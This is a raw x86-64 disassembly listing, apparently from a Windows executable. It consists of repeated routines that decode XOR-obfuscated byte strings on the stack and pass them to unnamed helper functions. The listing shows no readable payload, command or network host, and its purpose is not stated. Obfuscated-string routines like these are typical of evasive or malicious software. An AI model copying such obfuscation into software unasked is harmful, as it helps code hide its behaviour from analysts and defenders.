jl 0x1400233f0
lea rdx, [rbp + 0x468]
jmp 0x14002544d
movups xmm0, xmmword [0x14008b440]
movups xmmword [rbp + 0x800], xmm0
movsd xmm0, qword [0x14008b450]
movsd qword [rbp + 0x810], xmm0
mov eax, dword [0x14008b458]
mov dword [rbp + 0x818], eax
movzx eax, byte [0x14008b45c]
mov byte [rbp + 0x81c], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002358a
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x800]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140023490
cmp r8d, 0x1d
jge 0x1400235d3
movsxd rax, r8d
lea r9, [rbp + 0x800]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400235a0
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0xf80]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xf80]
mov rcx, rdi
call fcn.1400054b0
nop
lea rcx, [rbp + 0xf80]
call fcn.140043300
movups xmm4, xmmword [str.tRFvDN]
movups xmmword [rbp + 0x4c8], xmm4
movq xmm5, qword [str._CY]
movq qword [rbp + 0x4d8], xmm5
mov r8d, ebx
cmp r12d, 2
jl 0x14002378e
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x4c8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x4d0]
xorps xmm3, xmm0
movq qword [rbp + 0x4d0], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x4d8], xmm3
lea rdx, [rbp + 0x4c8]
jmp 0x14002544d
lea r9, [rbp + 0x4c8]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x1400237a0
lea rdx, [rbp + 0x4c8]
jmp 0x14002544d
movups xmm0, xmmword [0x14008bd78]
movups xmmword [rbp + 0x960], xmm0
movups xmm1, xmmword [0x14008bd88]
movups xmmword [rbp + 0x970], xmm1
movsd xmm0, qword [0x14008bd98]
movsd qword [rbp + 0x980], xmm0
mov eax, dword [0x14008bda0]
mov dword [rbp + 0x988], eax
movzx eax, byte [0x14008bda4]
mov byte [rbp + 0x98c], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002394a
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x960]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x28
jl 0x140023850
cmp r8d, 0x2d
jge 0x140023993
movsxd rax, r8d
lea r9, [rbp + 0x960]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140023960
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0xfa0]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xfa0]
mov rcx, rdi
call fcn.1400054b0
nop
lea rcx, [rbp + 0xfa0]
call fcn.140043300
movups xmm4, xmmword [0x14008bc78]
movups xmmword [rbp + 0x5a8], xmm4
movups xmm0, xmmword [0x14008bc88]
movups xmmword [rbp + 0x5b8], xmm0
movups xmm1, xmmword [str.0___f_2.L]
movups xmmword [rbp + 0x5c8], xmm1
mov eax, dword [0x14008bca8]
mov dword [rbp + 0x5d8], eax
movzx eax, word [0x14008bcac]
mov word [rbp + 0x5dc], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140023cca
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x5a8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5b0]
xorps xmm3, xmm0
movq qword [rbp + 0x5b0], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5b8]
xorps xmm3, xmm0
movq qword [rbp + 0x5b8], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5c0]
xorps xmm3, xmm0
movq qword [rbp + 0x5c0], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm15
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5c8]
xorps xmm3, xmm0
movq qword [rbp + 0x5c8], xmm3
movdqa xmm3, xmmword [0x14008c390]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5d0]
xorps xmm3, xmm0
movq qword [rbp + 0x5d0], xmm3
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x5a8]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1b
jl 0x140023ce0
lea rdx, [rbp + 0x5a8]
jmp 0x14002544d
movups xmm0, xmmword [0x14008a080]
movups xmmword [rbp + 0x990], xmm0
movups xmm1, xmmword [str._1f_v_.___aXS]
movups xmmword [rbp + 0x9a0], xmm1
movzx eax, word [0x14008a0a0]
mov word [rbp + 0x9b0], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140023e7a
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x990]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x20
jl 0x140023d80
cmp r8d, 0x22
jge 0x140023ec3
movsxd rax, r8d
lea r9, [rbp + 0x990]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140023e90
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0xfc0]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xfc0]
mov rcx, rdi
call fcn.1400054b0
nop
lea rcx, [rbp + 0xfc0]
call fcn.140043300
movups xmm4, xmmword [str.A__ESE_rfC_r]
movups xmmword [rbp + 0x3e0], xmm4
movups xmm0, xmmword [0x14008a968]
movups xmmword [rbp + 0x3f0], xmm0
movzx eax, word [0x14008a978]
mov word [rbp + 0x400], ax
mov r8d, ebx
cmp r12d, 2
jl 0x1400240f7
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x3e0], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3e8]
xorps xmm3, xmm0
movq qword [rbp + 0x3e8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3f0]
xorps xmm3, xmm0
movq qword [rbp + 0x3f0], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3f8]
xorps xmm3, xmm0
movq qword [rbp + 0x3f8], xmm3
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0x3e0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x140024110
lea rdx, [rbp + 0x3e0]
jmp 0x14002544d
movups xmm0, xmmword [str.sGXTE]
movups xmmword [rbp + 0xa18], xmm0
movups xmm1, xmmword [0x14008bd28]
movups xmmword [rbp + 0xa28], xmm1
mov r8d, ebx
cmp r12d, 2
jl 0x140024293
mov edx, ebx
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xa18]
mov r8d, r14d
mov r9d, dword [rbp + 0x1320]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x20
jl 0x1400241a0
jmp 0x1400242d2
lea r9, [rbp + 0xa18]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x1400242a0
lea rdx, [rbp + 0xa18]
lea rcx, [rbp + 0xfe0]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xfe0]
mov rcx, rdi
call fcn.1400054b0
nop
lea rcx, [rbp + 0xfe0]
call fcn.140043300
movups xmm4, xmmword [str.sGXTEqYUVR]
movups xmmword [rbp + 0x518], xmm4
movups xmm0, xmmword [0x14008aef0]
movups xmmword [rbp + 0x528], xmm0
movq xmm5, qword [0x14008af00]
movq qword [rbp + 0x538], xmm5
movzx eax, word [0x14008af08]
mov word [rbp + 0x540], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140024584
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x518], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x520]
xorps xmm3, xmm0
movq qword [rbp + 0x520], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x528]
xorps xmm3, xmm0
movq qword [rbp + 0x528], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x530]
xorps xmm3, xmm0
movq qword [rbp + 0x530], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm15
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x538], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x518]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x1400245a0
lea rdx, [rbp + 0x518]
jmp 0x14002544d
movups xmm0, xmmword [0x14008a888]
movups xmmword [rbp + 0x9b8], xmm0
movups xmm1, xmmword [0x14008a898]
movups xmmword [rbp + 0x9c8], xmm1
mov eax, dword [str.U]
mov dword [rbp + 0x9d8], eax
mov r8d, ebx
cmp r12d, 2
jl 0x14002473a
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x9b8]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x20
jl 0x140024640
cmp r8d, 0x24
jge 0x140024783
movsxd rax, r8d
lea r9, [rbp + 0x9b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140024750
lea rdx, [rbp + 0x9b8]
lea rcx, [rbp + 0x1000]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x1000]
mov rcx, rdi
call fcn.1400054b0
nop
lea rcx, [rbp + 0x1000]
call fcn.140043300
movups xmm0, xmmword [0x14008b1f0]
